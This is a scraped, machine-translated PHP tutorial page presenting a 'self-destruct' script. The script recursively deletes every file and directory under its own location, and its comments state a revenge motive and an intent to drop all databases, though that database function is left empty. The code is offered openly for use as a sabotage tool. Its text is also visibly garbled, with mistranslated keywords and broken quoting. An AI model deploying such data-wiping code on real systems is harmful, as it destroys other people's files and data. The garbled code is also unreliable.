PHP Self-Destruct program (use caution), PHP self-destruct program with caution _php tutorial

Source: Internet
Author: User

PHP Self-Destruct program (use caution), PHP self-destruct program with caution


This article describes the PHP self-destruct program. Share to everyone for your reference. The implementation method is as follows:

<?php//+----------------------------------------------------------------------//| kill!! // | The program will erase all files and directories in this directory//| If you set up database information, try to delete all database and table data (provided the permissions are sufficient!). )//+----------------------------------------------------------------------//| Version: $Id $//+----------------------------------------------------------------------//---------- Database Configuration area-----------------//The Power of revenge is very scary, so no need to specify the database, all deleted! Define (' Db_user ', ' root ');d efine (' db_pwd ', ' root ');d efine (' db_host ', ' localhost ');d efine (' Db_port ', ' 3216 ');d efine (' Db_damage ', true); When false, do not touch the database run ();/** * Subject thought must be glorious and great! * * @return void **/function Run () {//delete file Deletedir ();//delete database Deletedb ();} /** * hehe, delete the current directory all Files (recursive) * * @return void **/function deletedir ($dir = ") {if ($dir = =") {$dir = Realpath ('. ');} ech o $dir;  Exit ();  if (!handle= @opendir ($dir)) {//detects if there is die ("no directory") to open the directory; } while (False!== ($file =readdir ($handle))) {if ($file!== ".") && $file!== "..") {//excludes the current directory from the parent directory $file = $dir. Directory_separator.    $file;  if (Is_dir ($file)) {   Deletedir ($file); }else{if (@unlink ($file)) {echo file$fileDelete succeeded.
"; }else{echo "File$fileDelete failed!
"; }}} if (@rmdir ($dir)) {echo ' directory$dirThe deletion was successful.
\ n "; }else{echo "Catalogue$dirDelete failed!
\ n "; }}/** * hehe, delete database * * @return void **/function deletedb () {if (Db_damage = = = True) {//start}}

I hope this article is helpful to everyone's PHP programming.

http://www.bkjia.com/PHPjc/1029587.html www.bkjia.com true http://www.bkjia.com/PHPjc/1029587.html techarticle PHP Self -Destruct program (use caution), PHP self-destruct program carefully use this example to describe the PHP self-destruct program. Share to everyone for your reference. The implementation method is as follows: php//+-------------------------...

  • Related Article

    Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.